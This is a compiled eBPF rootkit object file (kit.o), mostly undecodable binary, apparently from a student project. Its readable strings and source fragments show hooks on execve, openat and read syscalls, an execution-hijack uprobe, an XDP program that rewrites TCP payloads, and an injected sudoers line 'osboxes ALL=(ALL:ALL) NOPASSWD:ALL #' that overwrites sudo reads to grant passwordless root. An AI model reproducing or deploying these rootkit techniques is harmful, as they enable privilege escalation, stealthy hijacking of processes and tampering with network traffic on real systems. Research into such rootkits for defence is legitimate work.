src/.output/kit.o

ELF>pB@@<00><1E>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>}<7D>t)H<>E<EFBFBD>H<EFBFBD>H<><48>tH<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><01><><EFBFBD>UH<55><48>H<EFBFBD><48> H<>}辸<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u<07><00>EH<45>E<EFBFBD>H<EFBFBD><48><EFBFBD>h<00><>u H<>E<EFBFBD>H<EFBFBD>H<>U<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>u	H<>E<EFBFBD><45><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD><00><>UH<55><48><EFBFBD><00>~<7E><><EFBFBD>]<5D>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><>UH<55><48>H<EFBFBD><48> H<>}<7D><>H<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HH<>E<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>P H<>E<EFBFBD><45>@(H<>E<EFBFBD><45>@,H<>E<EFBFBD><45>@,Hc<48>H<EFBFBD>E<EFBFBD><45>@(H<>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P0H<30>E<EFBFBD>H<EFBFBD>@0H<30><48><0F>vH<>E<EFBFBD>H<EFBFBD>@0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD><48> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD><48>(H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD>°H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD><48>0H<30>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD>¨H<>PH<>E<EFBFBD><45>@8H<>E<EFBFBD><45>@<H<>E<EFBFBD><45>@<Hc<48>H<EFBFBD>E<EFBFBD><45>@8H<38>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P@H<>E<EFBFBD>H<EFBFBD>@@H<><48><0F>H<>E<EFBFBD>H<EFBFBD>@@H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>8H<38>PH<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>pH<70>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>@H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>xH<78>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>HH<48>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>PH<50>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>XH<58>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48>`H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD><48>hH<68>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD> H<>PH<>E<EFBFBD>H<EFBFBD>@ <20>H<>E<EFBFBD>H<EFBFBD>H<>P<10><00><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> <20>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD><55>}<7D>u<0F><00><><01><>t<07><00>H<>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>ƿ<00><00><>t*H<>H<><48><EFBFBD>)<00>H<>=<00><00><00><00>H<EFBFBD>E<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48><EFBFBD>}<7D><><01>]<5D><><1E>UH<55><48>H<EFBFBD><48>pH<70>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00> H<><48><EFBFBD>H<>E<EFBFBD><45><EFBFBD><00><>u5H<35>E<EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00>EH<45>E<EFBFBD><45><EFBFBD><00><>t6H<36>E<EFBFBD><45><EFBFBD><00><>t'H<>E<EFBFBD><45><EFBFBD><00><>tH<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>P<EFBFBD>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>E<EFBFBD><00><00>}<7D>v<0F><><00>}<7D>v<0F><><00>}<7D>tt/<2F>}<7D>t<0F><><00>}<7D>htu<74>}<7D>h<0F><><00>}<7D>:<0F><><00>}<7D>?tt<74><74>H<>H<><48><EFBFBD><00>E<EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00><00>}<7D><0F><>H<>=<00><00><00><00><01>xH<78>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00><00><00><>H<EFBFBD>=<00><00><00><00><00><00><>H<EFBFBD>=<00><00><00><00>H<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00>H<>M<EFBFBD><4D>E<EFBFBD>H<EFBFBD>H<>Ή<EFBFBD><CE89><00>Eԃ}<7D><><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<3D><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5j<35><6A><EFBFBD><EFBFBD><00>H<>5Y<35><59><EFBFBD><EFBFBD><00><00>?<3F><><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>}<7D>u*H<>H<><48><EFBFBD>%<00>H<>=<00><00><00><>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><0E><><EFBFBD><EFBFBD>Ẽ}<7D>t%H<>H<><48><EFBFBD>'<00>H<>=<00><00><><00><01><00>EЉ<00><01>H<>E<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>@H<><48><EFBFBD><00><00>H<>5<EFBFBD><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D>u,<2C>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00>H<>=<00><00><>H<>E<EFBFBD><00>H<>=<00>H<>E<EFBFBD>H<EFBFBD>}<7D>uH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00>H<>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H)<29>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00><00>#H<>EؾdH<><48><EFBFBD><00>Ẽ}<7D><>u	<09>E<EFBFBD><00><0F><00><><01><>uϐH<CF90>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>}<7D>t<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05><00><>kit_bpfrb_commfs_openexec_var_hijack_activekit_bpf.rodatakit_bpf.bsshandle_sched_process_exectp_sys_enter_readtp_sys_exit_readtp_sys_enter_openattp_sys_enter_execveuprobe_execute_commandxdp_receiveELF<00>`<60>@@<00><00><00>U<00><00>$yy<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>y{<1A><>y{<1A><>y0{<1A><>y({<1A><>y {<1A><>y{<1A><>y{<1A><>cz<63><7A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00>	<00><><EFBFBD><EFBFBD><07>yv<06>ar<00>enk<1A><>now hidd{<1A><>That is {<1A><><00>s<><73><EFBFBD>s<><73><EFBFBD>k<><6B><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>s<><73><EFBFBD><00>LL #c<1A><>PASSWD:A{<1A><>:ALL) NO{<1A><>ALL=(ALL{<1A><>osboxes {<1A><>aq0<01>{*<2A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>c<00>p	<00><><EFBFBD><EFBFBD>m<08>q<><71><EFBFBD>T<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>h<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>i<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01> <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>w<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>o<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>U}n<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>muq<><71><EFBFBD>Us'<00>c	<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mkq<><71><EFBFBD>Uit<00>c
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>maq<><71><EFBFBD>U_ <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mWq<><71><EFBFBD>UUb<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mMq<><71><EFBFBD>UKe<00>c
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mCq<><71><EFBFBD>UA <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m9q<><71><EFBFBD>U7s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m/q<><71><EFBFBD>U-e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m%q<><71><EFBFBD>U#e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>Un<00><00>y<><79><EFBFBD><00>d<00><00>s <00><00>&<00><00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00><00>$<00>	m	&<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>$<00>$e<00><><EFBFBD><EFBFBD><00><00><00>	<00><><EFBFBD><EFBFBD><00><><00>#s<1A><><00>%<00><00>aq<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>3<00><00><00><00><00>	<00><>><00><00><00><><00><00><00>{j<><6A><00>	{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m	Os<><73><EFBFBD>c<><63><EFBFBD>{<7B><><EFBFBD>ys<00><><00><><EFBFBD><EFBFBD><EFBFBD>q<00>
<00>p{<7B><><EFBFBD>w cj<63><6A>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD>
<00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>s%q<><71><EFBFBD>U#uq<><71><EFBFBD>U!dq<><71><EFBFBD>Uoq<><71><EFBFBD>Uq<><71><EFBFBD>/q<><71><EFBFBD>Ueq<><71><EFBFBD>Utq<><71><EFBFBD>Ucq<><71><EFBFBD>U/q<><71><EFBFBD>Usq<><71><EFBFBD>U
uq<><71><EFBFBD>Udq<><71><EFBFBD>U	oq<><71><EFBFBD>Ueq<><71><EFBFBD>Urq<><71><EFBFBD>Us<00>	q<><71><EFBFBD><00>	c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00><00><00><><00><00><00><00>a<01><00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>{X<><00><><EFBFBD><EFBFBD><06>yc<03><00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>\<00><00>yc<00><>X<><58><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>m<00><00><00>sW<>sV<><00>ks*U<><00>as*S<><00>js*R<><00>is*Q<><00>_s*O<><00>vs*M<><00>ps*D<><00>ls*C<><00>cs*T<>s*L<>s*?<3F><00>rs*F<>s*><3E><00>Gs*;<3B><00>Fs*:<3A><00>Ts*9<><00>xs*J<>s*5<><00>bs*3<><00>ss*G<>s*=<3D>s*7<>s*2<><00>es*N<>s*K<>s*I<>s*E<>s*B<>s*6<>s*/<2F><00>ms*.<2E><00>os*4<>s*1<>s*-<2D><00>hs*P<>s*A<>s*,<2C><00>/s*H<>s*@<40>s*<<3C>s*8<>s*0<>s*+<2B><00><><EFBFBD><EFBFBD>y<><79><EFBFBD>_{<1A><>s<1A><>yaUZ<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>e<00><><EFBFBD><EFBFBD><00>q<><71><EFBFBD>Uw<00><00><00><00><><EFBFBD><EFBFBD>UHya<00><>+<2B><><EFBFBD><EFBFBD>-<00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X<><58><EFBFBD>~<00>$<00>;ya<00><00><00>$e7<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X<><58><EFBFBD><00><00>,<00><00><><00>c!<00>{ <20>{<18>{<10>{<08>{<00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00><00><00>p<00>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pe<00><><EFBFBD><EFBFBD><00><>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pe<00><><EFBFBD><EFBFBD>3<00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>e<00><><EFBFBD><EFBFBD>I<00><>q<><71><EFBFBD>U
w_<00><00>ya<00><>X<><58><EFBFBD><EFBFBD><00>$<00><>ya<00><>X<><58><EFBFBD><EFBFBD><00>$<00><00><><00><00><00><00><00>aeag<00>y	=<3D><00><00>x"=<3D>,q<>	U<00>q6=.<00><00><00><00>i<>#(i<><00>0<00><00><00><>i<><00>i<>wW<q<>gW<#<00><>	6<00><00><00><><00>A	=M<00><>{Z<><5A>O<00>6<00>C{J<><4A><00>	<00>y<><79><EFBFBD>qAX<00><00><>qAU<01><>DqAU<01><>PqAU<01><>_qAU<01><>PqAU<01><>oqAU<01><>CqAU<01><>_qAU<01><>0<00><00>y<><79><EFBFBD><00>iq
girO!irk*<2A><>c<1A><>iqgirO!irisgO#g O{:<3A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><><00>a<00><00>A
m<00>4<00><00><00><><EFBFBD><EFBFBD>{<1A><><00>ab<00>)	"aa{*<2A><>{*<2A><>=!<00>	=<3D><00>y<><79><EFBFBD>6=!V<00><00>&<00><00><><EFBFBD><EFBFBD>{<1A><><00><00><00>Gy<><79><EFBFBD><00><00>	aa{<1A><>ahy<><79><EFBFBD>= <00><00><00>&<00>y<><79><EFBFBD>{z<><7A>y<><79><EFBFBD>y<><79><EFBFBD>s<00><>y<><79><EFBFBD>%<00>)<00>N<00><00><><00><><00>acm<00>*<00><><00>;<3B>y<><79><EFBFBD>=<00><00><>=9<00>y<><79><EFBFBD>i#<00>i<>wW<q"gW<#{:<3A><><00>2g w <00>9[-#f_<00><19>i<><69><EFBFBD>y<><79><EFBFBD>ka<><61><EFBFBD>kwk
y<><79><EFBFBD><00>w0k#<00>w k#kwka<><61><EFBFBD>y<><79><EFBFBD>cy<><79><EFBFBD>cw cy<><79><EFBFBD>cw ca<><61><EFBFBD>cy<><79><EFBFBD>cw cy<><79><EFBFBD>cw ci<>
i<><00><00>i<><00><00>k<00><00>{<1A><>k(
D<00>*<00><00><><00><00><00><00><00><><00><00><00><00>wW<00><>W<00><><00>wW<00><>W<00><><00>wW<00><>W<00><><00>w<00><00><><EFBFBD><EFBFBD>y<EFBFBD><79><EFBFBD>k
i#i$
,<00><00><00>P<><00><>'=~wy<><79><EFBFBD>g w <00><>-<2D>o<00>s&s%s$s#s"s!s sssssssssssssssssss
sss
s	sssssssss<00>'y<><79><EFBFBD>m!H<00><>'-<2D>Ey<><79><EFBFBD><00><><EFBFBD><EFBFBD>g w !-<2D>B<00>)s&<00>;s%<00>ds!s <00>ns#s<00>bs<00>gs<00>ass<00>ms
<00>sssss<00>us
<00>os	<00>iss<00>vs<00>rs<00>ps<00> s$sssss<00>es"ssssss<00>hsss<00>Ts<00><00>&7<>n<00><00>-<00><00><00>5y<><79><EFBFBD><00><>y<><79><EFBFBD><00><00><>Error
UPROBE activated
Bound check fail ABDE %i
F, PS:%i, P:%i, DE:%i
GReceived valid TCP packet with payload %s of size %i
HOLD data_end: %i, payload: %i
Control back to main program with retcode %i after expanding %i bytes
Bound check A failed while expanding
Bound check B failed while expanding
Bound check D failed while expanding
Unlikely you are here, but OK
Bound check E failed while expanding
Bound check F failed while expanding
BPF finished with ret %i and payload %s of size %i
 BPF finished with error on expansion
Previous length: %i, current length: %i
NEW data_end: %i, payload: %i
And on NEW CTX data_end: %i, payload: %i
Error writing to user memory
Error writing to user memory in additional symbol
Sudo overwritten
Overwritting at pid %u, %s
Filename is %s
and program name is %s
Error writing to user memory
Error reading 1
Error reading 3
Error writing to user memory by %s
Error reading
Error reading 1
wError reading test 3
Equal from the start
Error writing to user memory at test by %s
Error reading test 1
Error reading tets 2
Error reading test 3
Error case 2
Failed to expand a tcp packet reserved bytes by %i
Bound check A failed while expanding
Bound check B failed while expanding
Bound check C failed while expanding
before: %i, checksum %u
after: %i, checksum %u
csum: %u for data_start %u, data_size %i
Invalid attempt to substitute the payload A
Invalid attempt to substitute the payload C
Dual BSD/GPLThat is now hiddenosboxes ALL=(ALL:ALL) NOPASSWD:ALL #<00><><00><00>
1  %*@6
>D@[8hl@o`s<00><00><00><00><00><01><00> <00> %	*@<00>
<00><00><00><00><00> %	*	@<00>
<00><00>
<00><00><00>" @o!`6!<00>>#<00>E%QWo et<00><00>"<00>
<00><00>$'>(QX@e`l(<00>h<00>m)s@<00>(
<00>&<00>*-<00>QX@<00>.<00><00>@
<00>,<00>/2<00>	(QX@e`<00>	<00><00><00>Q<00>	3 <00>	
<00>1<00>	47~(QX@e`<00>8<00><00>:<00><00>:9
;
8
<00>6<00><?<04>((@(<00>(<00>("(@%(<00>)(<00>-(0(@3(<00>6(<00>9(<(@?(<00>B(<00>J(M(@Q(<00>P(<00>S(
<00>>V@C<00><00><00> @
`<00>)<00>
<00>B8DF<00>LGPGXG\HdH gH0pG@tGH}JP<00>K`<00>K<00><00><00>I<00><00>I<00>s<00>zH<00>H<00>K <00>K@<00>I`<04>Id<04>Ih<01>Ii<01>Ij<01>Ik<01>Il<01>Im<01>In<01>Io<01>Hp}J<00><00>H<00>9+M	/+O9>+Q
]+S9e+U9y+W<00>+W9<00>+Z9<00>+\<00>+W96<00>+_<00>+W9,b9G),d9&?,fV,fm,f<00>,b<00>,f<00>,f95<00>,m<00>,f9)<00>,p-b9*%-s9<-u93\-w-Q9<00>-z9<00>-|9<00>-~.u9..<0E>Q.<0E>9$w.<0E>9<00>.<0E><00>.<0E>9<00>.<0E>/<0E>9,*/<0E>L/<0E>n/<0E><00>/<0E>9<00>/<0E>94<00>/<0E><00>/f0f@0f9e0<0E><00>0~<00>0s9-<00>0<0E><00>0<0E><00>0P<00>0  <00>03NRVX,Y.[0]6^M`O6a<00>c<00>e<00>Gg<00>&h&i9&j_k~&l<00>&n<00>5o<00>&q%)rNtm*v<00>x<00>3y<00>{<00>}&<00>><00>\<00>m<00>~$<00><00><00><00><00><00><00><00><00><00>,<00><00>3<00>I<00>_<00>m4<00><00>&<00><00>&<00><00>&<00><00>,<00>D*<00>n-<00><00>-1T
int__ARRAY_SIZE_TYPE__ring_buffertypemax_entriesrb_comm__u64long long unsigned intfs_open_databuffdpidprogram_namefilenameis_sudochar__u32unsigned intfs_priv_openkeyvaluefs_openexec_var_priv_hijack_activeexec_var_hijack_activetrace_event_raw_sched_process_execent__data_loc_filenameold_pid__datatrace_entryflagspreempt_countunsigned shortunsigned charu32pid_t__kernel_pid_tctxhandle_sched_process_exectp/sched/sched_process_exec/home/osboxes/TFG/src/ebpf/include/bpf/sched.h	pid_t pid = bpf_get_current_pid_tgid() >> 32;	return 0;sys_read_enter_ctxunused__syscall_nrpaddingcountlong unsigned intsize_ttp_sys_enter_readtp/syscalls/sys_enter_read/home/osboxes/TFG/src/ebpf/include/bpf/fs.h    if (ctx == NULL){        bpf_printk("Error\n");    char *buf = (char*) ctx->buf;     int fd = (int) ctx->fd;     __u64 pid_tgid = bpf_get_current_pid_tgid();    struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);    if (stored_data == NULL){    struct fs_open_data data = *stored_data;    data.fd = fd;    data.buf = buf;    bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);} sys_read_exit_ctxretlong inttp_sys_exit_readtp/syscalls/sys_exit_read    struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_t
p<00><00><00>
t<00><00><00>
|X<00>0<0E>`<00>0<08>x<00><00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00>J <00>J00<00>J%@<00>JX<00>Jp<00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00>J0 <00>J%0<00>JH<00>J`<00>J0p<00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00>J0<00>J% <00>J8<00>JP<00>J0`<00>J%p<00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00>J%<00>J(<00>J@<00>J0P<00>J%`<00>Jx<00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00>J<00>J0<00>J0@<00>J%P<00>Jh<00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00>J <00><00>TP<00><00>X<00><00><00>\<00><00><00><00>0`<00><00>0`<00><00><00><01><00><00><0C> <00><00><0C>(<00>
<0A>h<00>@<0E><00><00>b<1C><00><00>b	<09><00><00><00><10><00><00><00><00><00><10><00><00><00><10><00><00>
	<11><00><00>`		<09>	<00><00>		d<00>	8<00>
<00><00>Z<16>(<00>R

<EFBFBD>@<00>H<00>v
<0F>x<00><00>
<08><00><00><00>

<EFBFBD><00><00><00>
L<><00><00><00>

<EFBFBD><00><00><00>
<05><00><00>J<19><00><00>k<1A><00><00>J <20><00><00>J<19> <00><00><05>8<00>J<19>P<00><00>

<EFBFBD>X<00><00><05>h![
pp![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p![
p![
p![
p![
p ![
p(![
p0![
p8![
p@![
pH![
pP![
pX![
p`![
ph![
pp![
px![
p<00>![
p<00>![
p<00>![
p<00><00><00><00><00><00>I<00><00><00>Z<00>8
d0<00>8
d@<00>U
x<00><00><00>
<13><00><00><00>
<12><00><00><00>
<1A><00><00>
<08><00><00>
<08>(<00><00>
<08>0<00>*	<09>P<00>S=<3D>h<00>S<08>x<00>S<08><00><00><00>	<09><00><00><00>P<00><00>\<00><00>\<00><00><14><00><00>;<13><00><00>`<1A><00><00>`&<26><00><00><00><08>(<00><00><08>0<00><00>	<09>H<00><00><08>P<00><00><08>X<00>	<09>h<00><00><00>Hp<00><00><00>*<2A><00><00><00><08><00><00><00><08><00><00>	<09><00><00>N*<2A><00>N<08> <00>N<08>0<00><00>	<09>`<00><00><14><00><00><13><00><00>B<14>(<00>}@<40>8<00><00><14>@<00>}<08>P<00>}<08>X<00><00>	<09>x<00><00><<3C><00><00><00><08><00><00><00><08><00><00>*	<09><00><00><00> <00><00>6+<2B><00><00>6<08><00>6<08><00>j	<09>(<00><00>/@<00><00>P<00><00>X<00><00>	x<00><00><00><00><00><00><00><00>	<00><00>2(<00><00>2(<00><00>I	0<00><00>o+4<00><00>I	0<00>o	4<00><00>'H0<00><00>Hm<00><00>< <00><00>@D<00>Mr<00>M<00>)<29>M<00>%<25><00>60(Mo0M<00>	P<00><00>L`M<00>	(hM-	,<00><00><00><10><00>M<00>	<<00><00><00>h<00>M*	T<00>MZ	X<00>M<00>M<00>d<00><00>4<00>M,	h<00>Mh	l 